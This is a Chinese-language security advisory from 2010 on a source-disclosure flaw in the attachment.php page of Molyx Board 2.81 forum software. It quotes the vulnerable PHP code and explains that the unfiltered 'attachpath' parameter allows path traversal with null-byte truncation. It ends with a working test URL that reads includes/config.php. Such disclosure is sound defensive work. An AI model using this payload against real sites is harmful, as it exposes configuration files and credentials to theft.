Molyx Board 2.81 attachment.php页面过滤不严导致源码泄露漏洞

来源:岁月联盟 编辑:老鹰 时间:2010-06-08

影响版本:
Molyx Board 2.81

漏洞描述:
魔力论坛(MolyX Board) 是魔力系列Web应用软件产品之一,由魔力工作室(MolyX Studios) 经过数年的市场技术调研及学习研究,在融合了当今众多论坛程序技术和实践优点的基础上,针对中国人的使用习惯开发研制的一款功能强大、速度飞快、性能卓越、安全性极高的论坛系统。其采用PHP及MySql构建,整体架构采用最先进的面向对象思想,在功能、速度、性能、安全及开发理念和创新意识上均超越了目前国内外市场同类产品。魔力论坛推出的短短数月间,就获得了大量用户和业界专家的一致好评和认可,越来越多的用户选择了魔力论坛作为应用网站论坛社区的解决方案。

在attachment.php页面当中

   1.  function showthumb() 
   2. { 
   3.    global $DB, $forums, $_INPUT, $bbuserinfo, $bboptions; 
   4.    $forums->noheader = 1; 
   5. ............................... 
   6. else 
   7.    { 
   8.     $subpath = SAFE_MODE ? "" : implode('/', preg_split('//', intval($_INPUT['u']), -1, PREG_SPLIT_NO_EMPTY)); 
   9.     $subpath = $_INPUT['attachpath'] ? $_INPUT['attachpath'] : $subpath; 
  10.     $path = $bboptions['uploadfolder'] . '/' . $subpath; 
  11.     $_INPUT['attach'] = str_replace("\", "/", $_INPUT['attach']); 
  12.     $_INPUT['attach'] = str_replace("/", "", substr($_INPUT['attach'], strrpos($_INPUT['attach'], '/'))); 
  13.     $showfile = $path . "/" . $_INPUT['attach']; 
  14. ..................................... 
  15. if (file_exists($showfile) AND ($forums->cache['attachmenttype'][ $_INPUT['extension'] ]['mimetype'] != "")) 
  16.     { 
  17.      @header('Cache-control: max-age=31536000'); 
  18.      @header('Expires: ' . gmdate("D, d M Y H:i:s", TIMENOW + 31536000) . ' GMT'); 
  19.      @header('Content-Type: ' . $forums->cache['attachmenttype'][$_INPUT['extension']]['mimetype']); 
  20.      @header('Content-Disposition: inline; filename="' . urldecode($_INPUT['filename']) . '"'); 
  21.      @header('Content-Transfer-Encoding: binary'); 
  22.      @header('Content-Length: ' . (string) (filesize($showfile))); 
  23.      @readfile($showfile); 
  24.      exit(); 
  25.     } 
  26.    .......................................... 

$_INPUT['attach']过滤得蛮严的,但$_INPUT['attachpath']没过滤,因为系统初始化时有用到 stripslashes()所以我们可以用%00来截断后面的参数。


测试方法:

论坛发贴带个附件,获取下载地址,改attachpath为任意文件
http://ssvdb.com/attachment.php?do=showthumb&id=21&u=6&extension=jpg&attach=8_1275811008_082.jpg&filename=test.jpg&attachpath=../../includes/config.php%00

安全建议:
厂商补丁:
MolyX Board
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.molyx.com/